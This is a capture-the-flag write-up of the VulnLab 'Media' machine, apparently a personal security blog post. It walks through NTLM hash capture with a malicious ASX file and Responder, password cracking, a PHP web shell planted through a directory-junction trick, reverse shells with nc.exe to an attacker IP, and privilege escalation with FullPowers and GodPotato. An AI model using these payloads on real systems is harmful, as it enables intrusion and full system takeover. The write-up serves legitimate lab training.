Post

VulnLab -- Media Writeup

Media

Hello Friends,

Remo is Back

In this write-up, I’ll walk through how I pwned the Media machine from VulnLab. From initial enumeration to gaining root access, I’ll explain the key steps, tools, and techniques used to complete the box.

image.png

Let’s start by scanning the machine.

1
sudo nmap -sC -sV -sS -O -A -oN scanned.txt -p 22,80,3389 --min-rate=1000 10.10.102.154

image.png

Now let’s see the website running on port 80

image.png

Now let’s go create malicious asx file

1
2
3
4
5
6
7
<asx version="3.0">
    <title>Leak</title>
    <entry>
        <title></title>
        <ref href="file://10.8.5.233/leak/leak.wma"/>
    </entry>
</asx>

image.png

Now let’s open responder

1
sudo responder -I tun0

image.png

Now let’s upload the asx file to the web application

image.png

Now let’s go back and see if we got a hash

image.png

Notice that we got a hash so let’s go and crack it

1
john crackme.txt --wordlist=/usr/share/wordlists/rockyou.txt

image.png

Now let’s try login to SSH

1
ssh enox@10.10.70.160

image.png

As we see we logged in!

Now let’s go and see the user flag

1
cd C:\Users\enox\Desktop

image.png

Amazing we got the user flag 🥳

Now let’s navigate to the web directory and see the index.php file

1
c:\xampp\htdocs

image.png

Now let’s save it and analyze it on our machine

1
code index.php

image.png

Now let’s start analysis.

image.png

First the application is initializing the upload directory then it takes the firstname, lastname and email to and make them MD5 hash then create a folder with same name as the MD5 hash

So what we will do as we have a full control of the created directory we will create a Symlink and make it point to the web root and then upload a PHP file that will execute system commands on the machine

First let’s create our PHP file

1
<?php echo system($_REQUEST["cmd"]);?>

image.png

Now let’s create a fake md5 hash

1
2
import hashlib
print(hashlib.md5(b"remoremoremo@remo.com").hexdigest())

image.png

Now as we see we got the md5 hash

So let’s go and create a Symlink

1
mklink /J C:\Windows\Tasks\Uploads\2307356e83030ada3addf4fcc2e0dafa C:\xampp\htdocs

image.png

Now let’s go and try to upload the PHP file and intercept the request using BurpSuite

image.png

now let’s go back to the xampp directory and check if the PHP file is uploaded

1
c:\xampp\htdocs

image.png

as we see the evil.php file is uploaded

Now let’s go and execute command

1
whoami

image.png

Now let’s go and get a revershell

Frist let’s open a listener

1
nc -lvnp 1337

image.png

Now let’s go and execute reverse shell

1
c:\temp\nc.exe -nv 10.8.5.233 1337 -e cmd.exe

image.png

Now let’s go and see if we got a shell

image.png

Now let’s go and see our privilegs

1
whoami /all

image.png

As we see we have no interesting privileges

So let’s go and restore the default privileges

1
FullPowers.exe -c "C:\temp\nc.exe 10.8.5.233 1338 -e cmd" -z 

image.png

now let’s see if we got a shell

image.png

Now let’s see our privileges

1
whoami /all

image.png

Notice that we have impersonation privileges

so let’s us God Potato to get a reverse shell

1
.\gp.exe -cmd "cmd /c c:\temp\nc.exe 10.8.5.233 1337 -e cmd.exe"

image.png

Now let’s go and see if we got a reverse shell

image.png

as we see we got a reverse shell so let’s go to the administrator directory and see the root flag

1
cd c:\Users\Administrator\Desktop

image.png

Amazing we got a reverse shell 🥳

image.png

That’s it for the Media machine! This challenge was a great test of enumeration and exploitation skills. Hope you found the write-up useful.

Remo

CRTECRTPCRTOeWPTXeCPPTeMAPT
This post is licensed under CC BY 4.0 by the author.